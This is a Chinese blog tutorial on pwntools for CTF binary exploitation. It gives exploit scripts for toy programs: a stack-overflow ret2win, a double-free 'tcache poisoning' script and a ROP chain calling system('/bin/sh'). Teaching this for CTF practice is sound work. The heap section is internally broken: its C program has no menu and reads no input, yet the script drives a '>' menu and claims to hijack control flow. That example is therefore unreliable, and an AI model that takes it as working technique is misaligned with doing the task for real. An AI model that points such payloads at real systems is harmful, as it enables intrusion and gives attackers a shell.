pwntools使用方法合集


pwntools 是一个强大的 Python 库,用于编写二进制漏洞利用脚本。在 CTF 中,它提供了便捷的接口与目标程序交互,能够帮助你快速编写漏洞利用代码。

以下是使用 pwntools 编写 PWN 利用脚本的基本步骤和常见技巧:


1. 安装 pwntools

pip install pwntools

2. 基础用法

以下是一些常用功能的介绍:

2.1 连接目标

  • 本地运行
  • ‘’‘from pwn import * p = process('./vulnerable') # 本地目标’‘’
  • 远程连接p = remote('example.com', 1234) # 远程目标

2.2 发送和接收数据

  • 发送数据p.send(b'hello') # 发送数据(字节流) p.sendline(b'hello') # 发送并加上换行符
  • 接收数据response = p.recv() # 接收所有数据 response = p.recvline() # 接收一行数据 response = p.recvuntil(b':') # 接收到指定字符

2.3 常见功能

  • 交互模式:用于与程序交互调试。 p.interactive()
  • 调试程序:附加 GDB。 gdb.attach(p, gdbscript="b main")
  • 加载 ELF 和 libcelf = ELF('./vulnerable') # 加载目标 ELF 文件 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # 加载 libc 文件

3. 编写一个简单的栈溢出利用脚本

以下是一个基础栈溢出的例子:

漏洞程序 vulnerable.c

#include <stdio.h>
#include <string.h>

void win() {
    system("/bin/sh");
}

void vuln() {
    char buffer[64];
    gets(buffer);  // 漏洞点:没有边界检查
}

int main() {
    vuln();
    return 0;
}

编译命令:

gcc -o vulnerable vulnerable.c -no-pie -fno-stack-protector

利用脚本:

from pwn import *

# 设置上下文(可选,方便调试)
context(os='linux', arch='amd64')
context.log_level = 'debug'

# 连接目标程序
p = process('./vulnerable')  # 本地运行
# p = remote('example.com', 1234)  # 远程连接

# 加载 ELF 文件
elf = ELF('./vulnerable')
win_addr = elf.symbols['win']  # 获取 win 函数地址

# 构造 Payload
padding = b'A' * 72  # 根据栈布局计算偏移
payload = padding + p64(win_addr)

# 发送 Payload
p.sendline(payload)

# 打开交互模式
p.interactive()

4. 堆利用的例子

针对堆漏洞,以下是一个简单的利用 tcache poisoning 的脚本:

漏洞程序 heap_vuln.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void secret() {
    system("/bin/sh");
}

int main() {
    char *a = malloc(0x60);
    char *b = malloc(0x60);
    free(a);
    free(a);  // Double free 漏洞
    return 0;
}

编译命令:

gcc -o heap_vuln heap_vuln.c -no-pie -g

利用脚本:

from pwn import *

# 设置上下文
context(os='linux', arch='amd64')
context.log_level = 'debug'

# 启动目标程序
p = process('./heap_vuln')
elf = ELF('./heap_vuln')

# 利用 tcache 双重释放
p.sendlineafter('>', '1')  # malloc a
p.sendlineafter('>', '1')  # malloc b
p.sendlineafter('>', '2')  # free a
p.sendlineafter('>', '2')  # free a again

# 伪造堆地址
p.sendlineafter('>', '1')
p.sendlineafter('>', '1')  # 分配到伪造地址

# 劫持控制流
secret_func = elf.symbols['secret']
p.sendlineafter('>', p64(secret_func))

# 交互模式
p.interactive()

5. 结合 ROP 实现复杂利用

ROP(Return-Oriented Programming)是绕过 NX 防护的核心技术。pwntools 提供了 ROP 工具:

利用 ROP:

from pwn import *

# 加载目标
elf = ELF('./vulnerable')
rop = ROP(elf)

# 寻找 gadgets 和构造 ROP 链
rop.raw(rop.find_gadget(['pop rdi', 'ret'])[0])  # 加载参数
rop.raw(next(elf.search(b'/bin/sh')))           # "/bin/sh" 的地址
rop.raw(elf.plt['system'])                      # 调用 system

# 打印 ROP 链
log.info("ROP chain: " + str(rop))

# 构造 Payload
padding = b'A' * 72
payload = padding + rop.chain()

# 发送 Payload
p = process('./vulnerable')
p.sendline(payload)
p.interactive()

6. 调试与优化

  • 动态调试:运行脚本前使用 gdb 附加调试。
  • 日志信息:通过 context.log_level 调整日志级别,观察交互细节。
  • 自动化:利用 pwntools 中的自动化工具,如 cyclic 自动定位偏移量。


發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *